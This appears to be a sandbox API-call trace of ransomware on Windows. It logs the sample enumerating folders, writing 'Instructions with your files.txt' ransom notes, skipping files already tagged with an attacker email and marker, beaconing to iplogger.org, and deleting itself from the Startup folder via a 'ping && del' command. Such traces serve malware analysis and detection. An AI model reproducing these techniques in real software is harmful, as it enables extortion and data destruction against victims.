[0146.260] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x3ef200 | out: lpFindFileData=0x3ef200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd0481a0, ftCreationTime.dwHighDateTime=0x1d5c49c, ftLastAccessTime.dwLowDateTime=0xb7d542a0, ftLastAccessTime.dwHighDateTime=0x1d5bd14, ftLastWriteTime.dwLowDateTime=0xb7d542a0, ftLastWriteTime.dwHighDateTime=0x1d5bd14, nFileSizeHigh=0x0, nFileSizeLow=0x35dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="xgGaP6XdBq7wOhY K4T.m4a", cAlternateFileName="XGGAP6~1.M4A")) returned 0
[0146.260] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\LhoM8PoRuJNh qlQW\\Instructions with your files.txt") returned 96
[0146.260] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\LhoM8PoRuJNh qlQW\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\phawchb\\lhom8porujnh qlqw\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c
[0146.260] WriteFile (in: hFile=0x16c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x3ef1e0, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x3ef1e0*=0x54, lpOverlapped=0x0) returned 1
[0146.261] WriteFile (in: hFile=0x16c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x3ef1e0, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x3ef1e0*=0x18, lpOverlapped=0x0) returned 1
[0146.261] WriteFile (in: hFile=0x16c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x3ef1e0, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x3ef1e0*=0xc, lpOverlapped=0x0) returned 1
[0146.261] WriteFile (in: hFile=0x16c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x3ef1e0, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x3ef1e0*=0x16, lpOverlapped=0x0) returned 1
[0146.261] WriteFile (in: hFile=0x16c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x3ef1e0, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x3ef1e0*=0x23, lpOverlapped=0x0) returned 1
[0146.261] CloseHandle (hObject=0x16c) returned 1
[0146.262] StrCmpNW (lpStr1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStr2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nChar=37) returned 0
[0146.262] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0146.262] GetProcessHeap () returned 0x810000
[0146.262] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f0058 | out: hHeap=0x810000) returned 1
[0146.262] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x3ef490 | out: lpFindFileData=0x3ef490*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3027fef0, ftCreationTime.dwHighDateTime=0x1d5c5f3, ftLastAccessTime.dwLowDateTime=0x2889b420, ftLastAccessTime.dwHighDateTime=0x1d5c1cc, ftLastWriteTime.dwLowDateTime=0x2889b420, ftLastWriteTime.dwHighDateTime=0x1d5c1cc, nFileSizeHigh=0x0, nFileSizeLow=0x10e44, dwReserved0=0x0, dwReserved1=0x0, cFileName="q0XIdHWNCm.pps", cAlternateFileName="Q0XIDH~1.PPS")) returned 1
[0146.262] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\q0XIdHWNCm.pps") returned 60
[0146.262] StrStrIW (lpFirst="q0XIdHWNCm.pps", lpSrch="SDfghjkl") returned 0x0
[0146.262] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x3ef490 | out: lpFindFileData=0x3ef490*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c9cfde0, ftCreationTime.dwHighDateTime=0x1d5bc93, ftLastAccessTime.dwLowDateTime=0x6a34dcf0, ftLastAccessTime.dwHighDateTime=0x1d5b700, ftLastWriteTime.dwLowDateTime=0x6a34dcf0, ftLastWriteTime.dwHighDateTime=0x1d5b700, nFileSizeHigh=0x0, nFileSizeLow=0xa1b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uwhy0.docx", cAlternateFileName="UWHY0~1.DOC")) returned 1
[0146.262] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\uwhy0.docx") returned 56
[0146.262] StrStrIW (lpFirst="uwhy0.docx", lpSrch="SDfghjkl") returned 0x0
[0146.262] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x3ef490 | out: lpFindFileData=0x3ef490*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c9cfde0, ftCreationTime.dwHighDateTime=0x1d5bc93, ftLastAccessTime.dwLowDateTime=0x6a34dcf0, ftLastAccessTime.dwHighDateTime=0x1d5b700, ftLastWriteTime.dwLowDateTime=0x6a34dcf0, ftLastWriteTime.dwHighDateTime=0x1d5b700, nFileSizeHigh=0x0, nFileSizeLow=0xa1b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uwhy0.docx", cAlternateFileName="UWHY0~1.DOC")) returned 0
[0146.262] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\Instructions with your files.txt") returned 78
[0146.262] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\phawchb\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168
[0146.262] WriteFile (in: hFile=0x168, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x3ef470, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x3ef470*=0x54, lpOverlapped=0x0) returned 1
[0146.263] WriteFile (in: hFile=0x168, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x3ef470, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x3ef470*=0x18, lpOverlapped=0x0) returned 1
[0146.263] WriteFile (in: hFile=0x168, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x3ef470, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x3ef470*=0xc, lpOverlapped=0x0) returned 1
[0146.263] WriteFile (in: hFile=0x168, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x3ef470, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x3ef470*=0x16, lpOverlapped=0x0) returned 1
[0146.263] WriteFile (in: hFile=0x168, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x3ef470, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x3ef470*=0x23, lpOverlapped=0x0) returned 1
[0146.263] CloseHandle (hObject=0x168) returned 1
[0146.263] StrCmpNW (lpStr1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStr2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nChar=37) returned 0
[0146.263] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0146.263] GetProcessHeap () returned 0x810000
[0146.263] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0146.263] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x3ef720 | out: lpFindFileData=0x3ef720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x749a4730, ftCreationTime.dwHighDateTime=0x1d5c460, ftLastAccessTime.dwLowDateTime=0x54c57180, ftLastAccessTime.dwHighDateTime=0x1d5c3f4, ftLastWriteTime.dwLowDateTime=0x54c57180, ftLastWriteTime.dwHighDateTime=0x1d5c3f4, nFileSizeHigh=0x0, nFileSizeLow=0x52aa, dwReserved0=0x810000, dwReserved1=0x8fef18, cFileName="t S64Uy PgrMS9.mkv", cAlternateFileName="TS64UY~1.MKV")) returned 1
[0146.263] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\t S64Uy PgrMS9.mkv") returned 56
[0146.263] StrStrIW (lpFirst="t S64Uy PgrMS9.mkv", lpSrch="SDfghjkl") returned 0x0
[0146.263] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x3ef720 | out: lpFindFileData=0x3ef720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0d9c2b0, ftCreationTime.dwHighDateTime=0x1d5b9be, ftLastAccessTime.dwLowDateTime=0xc8db3d0, ftLastAccessTime.dwHighDateTime=0x1d5c108, ftLastWriteTime.dwLowDateTime=0xc8db3d0, ftLastWriteTime.dwHighDateTime=0x1d5c108, nFileSizeHigh=0x0, nFileSizeLow=0x12fcc, dwReserved0=0x810000, dwReserved1=0x8fef18, cFileName="TLDhdH.mkv", cAlternateFileName="")) returned 1
[0146.263] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\TLDhdH.mkv") returned 48
[0146.264] StrStrIW (lpFirst="TLDhdH.mkv", lpSrch="SDfghjkl") returned 0x0
[0146.264] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x3ef720 | out: lpFindFileData=0x3ef720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x575dcf00, ftCreationTime.dwHighDateTime=0x1d5ba85, ftLastAccessTime.dwLowDateTime=0x4c122a60, ftLastAccessTime.dwHighDateTime=0x1d5c124, ftLastWriteTime.dwLowDateTime=0x4c122a60, ftLastWriteTime.dwHighDateTime=0x1d5c124, nFileSizeHigh=0x0, nFileSizeLow=0xd9ef, dwReserved0=0x810000, dwReserved1=0x8fef18, cFileName="Z4MpwUqX.gif", cAlternateFileName="")) returned 1
[0146.264] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Z4MpwUqX.gif") returned 50
[0146.264] StrStrIW (lpFirst="Z4MpwUqX.gif", lpSrch="SDfghjkl") returned 0x0
[0146.264] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x3ef720 | out: lpFindFileData=0x3ef720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39750040, ftCreationTime.dwHighDateTime=0x1d5b647, ftLastAccessTime.dwLowDateTime=0x3e0bbde0, ftLastAccessTime.dwHighDateTime=0x1d5c4d6, ftLastWriteTime.dwLowDateTime=0x3e0bbde0, ftLastWriteTime.dwHighDateTime=0x1d5c4d6, nFileSizeHigh=0x0, nFileSizeLow=0x18d0f, dwReserved0=0x810000, dwReserved1=0x8fef18, cFileName="ZDd6KpR1Iuehr-4lGiwL.png", cAlternateFileName="ZDD6KP~1.PNG")) returned 1
[0146.264] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZDd6KpR1Iuehr-4lGiwL.png") returned 62
[0146.264] StrStrIW (lpFirst="ZDd6KpR1Iuehr-4lGiwL.png", lpSrch="SDfghjkl") returned 0x0
[0146.264] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x3ef720 | out: lpFindFileData=0x3ef720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x382f1600, ftCreationTime.dwHighDateTime=0x1d5bcda, ftLastAccessTime.dwLowDateTime=0x23ad6490, ftLastAccessTime.dwHighDateTime=0x1d5c23c, ftLastWriteTime.dwLowDateTime=0x23ad6490, ftLastWriteTime.dwHighDateTime=0x1d5c23c, nFileSizeHigh=0x0, nFileSizeLow=0x7f5a, dwReserved0=0x810000, dwReserved1=0x8fef18, cFileName="ZlNgJw2gOQpRD8-ZG 7.gif", cAlternateFileName="ZLNGJW~1.GIF")) returned 1
[0146.264] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZlNgJw2gOQpRD8-ZG 7.gif") returned 61
[0146.264] StrStrIW (lpFirst="ZlNgJw2gOQpRD8-ZG 7.gif", lpSrch="SDfghjkl") returned 0x0
[0146.264] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x3ef720 | out: lpFindFileData=0x3ef720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x382f1600, ftCreationTime.dwHighDateTime=0x1d5bcda, ftLastAccessTime.dwLowDateTime=0x23ad6490, ftLastAccessTime.dwHighDateTime=0x1d5c23c, ftLastWriteTime.dwLowDateTime=0x23ad6490, ftLastWriteTime.dwHighDateTime=0x1d5c23c, nFileSizeHigh=0x0, nFileSizeLow=0x7f5a, dwReserved0=0x810000, dwReserved1=0x8fef18, cFileName="ZlNgJw2gOQpRD8-ZG 7.gif", cAlternateFileName="ZLNGJW~1.GIF")) returned 0
[0146.264] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Instructions with your files.txt") returned 70
[0146.264] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x164
[0146.264] WriteFile (in: hFile=0x164, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x3ef700, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x3ef700*=0x54, lpOverlapped=0x0) returned 1
[0146.265] WriteFile (in: hFile=0x164, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x3ef700, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x3ef700*=0x18, lpOverlapped=0x0) returned 1
[0146.265] WriteFile (in: hFile=0x164, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x3ef700, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x3ef700*=0xc, lpOverlapped=0x0) returned 1
[0146.265] WriteFile (in: hFile=0x164, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x3ef700, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x3ef700*=0x16, lpOverlapped=0x0) returned 1
[0146.265] WriteFile (in: hFile=0x164, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x3ef700, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x3ef700*=0x23, lpOverlapped=0x0) returned 1
[0146.266] CloseHandle (hObject=0x164) returned 1
[0146.266] StrCmpNW (lpStr1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStr2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nChar=37) returned 0
[0146.266] FindClose (in: hFindFile=0x876c38 | out: hFindFile=0x876c38) returned 1
[0146.267] GetProcessHeap () returned 0x810000
[0146.267] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0146.267] wnsprintfW (in: pszDest=0x3ef9b0, cchDest=260, pszFmt="%s.hta" | out: pszDest=".hta") returned 4
[0146.267] ShellExecuteW (hwnd=0x0, lpOperation="open", lpFile=".hta", lpParameters=0x0, lpDirectory=0x0, nShowCmd=5) returned 0x2
[0146.396] wnsprintfW (in: pszDest=0x3ef9b0, cchDest=260, pszFmt="%s.hta" | out: pszDest=".hta") returned 4
[0146.396] ShellExecuteW (hwnd=0x0, lpOperation="open", lpFile=".hta", lpParameters=0x0, lpDirectory=0x0, nShowCmd=5) returned 0x2
[0146.408] InternetCrackUrlW (in: lpszUrl="https://iplogger.org/11WNs", dwUrlLength=0x1a, dwFlags=0x0, lpUrlComponents=0x3ef918 | out: lpUrlComponents=0x3ef918) returned 1
[0147.106] GetProcessHeap () returned 0x810000
[0147.106] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x1a) returned 0x22d0470
[0147.106] GetProcessHeap () returned 0x810000
[0147.106] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xe) returned 0x884d00
[0147.107] InternetOpenW (lpszAgent=0x0, dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004
[0147.110] InternetConnectW (hInternet=0xcc0004, lpszServerName="iplogger.org", nServerPort=0x1bb, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008
[0147.112] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb="GET", lpszObjectName="/11WNs", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x800000, dwContext=0x0) returned 0xcc000c
[0147.813] HttpSendRequestW (hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0) returned 1
[0152.340] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x3ef988, dwFlags=0x0, dwContext=0x0) returned 1
[0152.340] GetProcessHeap () returned 0x810000
[0152.340] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x74) returned 0x22e1208
[0152.340] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x22e1208, dwNumberOfBytesToRead=0x74, lpdwNumberOfBytesRead=0x3ef988 | out: lpBuffer=0x22e1208*, lpdwNumberOfBytesRead=0x3ef988*=0x74) returned 1
[0152.340] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x3ef988, dwFlags=0x0, dwContext=0x0) returned 1
[0152.340] GetProcessHeap () returned 0x810000
[0152.340] RtlReAllocateHeap (Heap=0x810000, Flags=0x8, Ptr=0x22e1208, Size=0x74) returned 0x22e1188
[0152.340] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x22e11fc, dwNumberOfBytesToRead=0x0, lpdwNumberOfBytesRead=0x3ef988 | out: lpBuffer=0x22e11fc*, lpdwNumberOfBytesRead=0x3ef988*=0x0) returned 1
[0152.340] InternetCloseHandle (hInternet=0xcc000c) returned 1
[0152.340] InternetCloseHandle (hInternet=0xcc0008) returned 1
[0152.340] InternetCloseHandle (hInternet=0xcc0004) returned 1
[0152.340] GetProcessHeap () returned 0x810000
[0152.340] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0470 | out: hHeap=0x810000) returned 1
[0152.340] GetProcessHeap () returned 0x810000
[0152.340] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x884d00 | out: hHeap=0x810000) returned 1
[0152.340] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3ef9b0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\twU5X5u5JjqyRmBjT4Z9MFf9KNV5.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\twu5x5u5jjqyrmbjt4z9mff9knv5.exe")) returned 0x7c
[0152.340] wnsprintfW (in: pszDest=0x3ef5b0, cchDest=512, pszFmt="ping 127.0.0.1 && del \"%s\"" | out: pszDest="ping 127.0.0.1 && del \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\twU5X5u5JjqyRmBjT4Z9MFf9KNV5.exe\"") returned 148
[0152.340] ExpandEnvironmentStringsW (in: lpSrc="%ComSpec%", lpDst=0x3ef9b0, nSize=0x104 | out: lpDst="C:\\Windows\\system32\\cmd.exe") returned 0x1c
[0152.340] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="C:\\Windows\\system32\\cmd.exe", lpParameters="ping 127.0.0.1 && del \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\twU5X5u5JjqyRmBjT4Z9MFf9KNV5.exe\"", lpDirectory=0x0, nShowCmd=0) returned 0x2a
[0153.057] ExitProcess (uExitCode=0x0)
Thread:
id = 55
os_tid = 0x63c
Thread:
id = 56
os_tid = 0x708
[0111.652] GetProcessHeap () returned 0x810000
[0111.652] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x833ba8
[0111.653] wnsprintfW (in: pszDest=0x833ba8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\*") returned 8
[0111.653] FindFirstFileW (in: lpFileName="\\\\?\\C:\\*", lpFindFileData=0x22cf8f4 | out: lpFindFileData=0x22cf8f4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x82f200
[0111.654] FindNextFileW (in: hFindFile=0x82f200, lpFindFileData=0x22cf8f4 | out: lpFindFileData=0x22cf8f4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cfc8be0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cfc8be0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1
[0111.654] wnsprintfW (in: pszDest=0x833ba8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot") returned 11
[0111.654] GetProcessHeap () returned 0x810000
[0111.654] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x844bb8
[0111.654] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\*") returned 13
[0111.654] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\*", lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cfc8be0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cfc8be0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x82f240
[0111.655] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\.") returned 13
[0111.655] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0111.655] FindNextFileW (in: hFindFile=0x82f240, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cfc8be0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cfc8be0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0111.655] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\..") returned 14
[0111.655] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0111.655] FindNextFileW (in: hFindFile=0x82f240, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x8f753ec0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x8f753ec0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1
[0111.655] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\BCD") returned 15
[0111.655] StrStrIW (lpFirst="BCD", lpSrch="SDfghjkl") returned 0x0
[0111.655] FindNextFileW (in: hFindFile=0x82f240, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8f1607c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1
[0111.655] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\BCD.LOG") returned 19
[0111.655] StrStrIW (lpFirst="BCD.LOG", lpSrch="SDfghjkl") returned 0x0
[0111.655] FindNextFileW (in: hFindFile=0x82f240, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x7ccf51c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x100, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG1_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="BCDLOG~1.COM")) returned 1
[0111.655] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\BCD.LOG1_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 62
[0111.655] StrStrIW (lpFirst="BCD.LOG1_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0111.655] FindNextFileW (in: hFindFile=0x82f240, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x7ccf51c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x100, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG2_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="BCDLOG~2.COM")) returned 1
